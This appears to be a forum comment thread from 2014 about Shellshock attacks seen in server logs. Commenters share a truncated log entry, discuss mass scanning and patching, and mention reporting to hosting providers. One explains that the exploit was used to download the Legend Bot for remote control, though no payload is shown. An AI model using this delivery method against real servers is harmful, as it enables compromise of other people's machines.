It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0

  "In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability. This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc. It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.

    Are the bots scanning for anything besides HTTP-based Shellshock vulnerabilities?

  Wow, that same machine is hitting one of my servers. Interesting.

    3rd that - Exact same ip and domain.

  I've also seen some in the wild, and I'm behind CloudFlare. CloudFlare have stopped the attacks reaching us now, but a few got through on the 29th September (this is a Pro account). I'm not sure precisely when the CloudFlare protection started, but all servers involved were patched as soon as the patches were available (before the first attacks reached my servers).

  my $realname = '$uname'; They probably meant $uname or at least "$uname" :-)

  I've been emailing the abuse contacts for the source ip address in the logs with the relevant log snippet. Some hosting providers are more responsive than others it has to be said - I've had no response at all from some big name hosting companies whilst others have been very quick to sort things out.

  First thing I noticed was this: "Legend Bot [2011] DO NOT FUCKIN SHARE!" on the comments, does this mean they have been running this since 2011? I hope not.
  • jonasvp 12y ago
    The bot does not have anything to do with shellshock by itself. The shellshock exploit is just used to download the (generic) Legend Bot in order to remotely send commands to the machine.
